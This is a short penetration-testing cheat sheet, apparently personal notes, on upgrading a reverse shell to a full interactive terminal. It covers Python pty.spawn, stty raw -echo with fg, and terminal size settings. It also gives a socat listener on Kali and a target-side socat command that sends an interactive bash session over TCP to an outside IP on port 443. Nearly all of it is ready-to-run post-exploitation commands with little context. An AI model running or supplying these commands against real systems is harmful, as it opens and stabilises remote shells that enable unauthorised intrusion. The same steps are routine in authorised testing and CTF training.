Upgrading Shell

Python

  1. python -c ‘import pty; pty.spawn(“/bin/bash”)’
  2. background reverse shell using CTRL-Z
  3. echo $TERM
  4. stty -a
    1. Take note of the TERM type and size of the tty
    2. Ex: xterm-256 color and rows 38; columns 116
  5. Then with the reverse shell still in background “stty raw -echo”
  6. fg
  7. reset
  8. export SHELL=bash
  9. export TERM=xterm-256 color (for example)
  10. stty rows 38 columns 116

Full

python3 -c 'import pty; pty.spawn("/bin/bash")'

(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 36 columns 102; reset;
  • You can get the number of rows and columns executing stty -a

Shell Upgrades

Socat

  1. From kali
    • sudo socat file:’tty’,raw,echo=0 tcp-listen:443
  2. From target
    • socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:192.168.45.230:443

Others: https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/full-ttys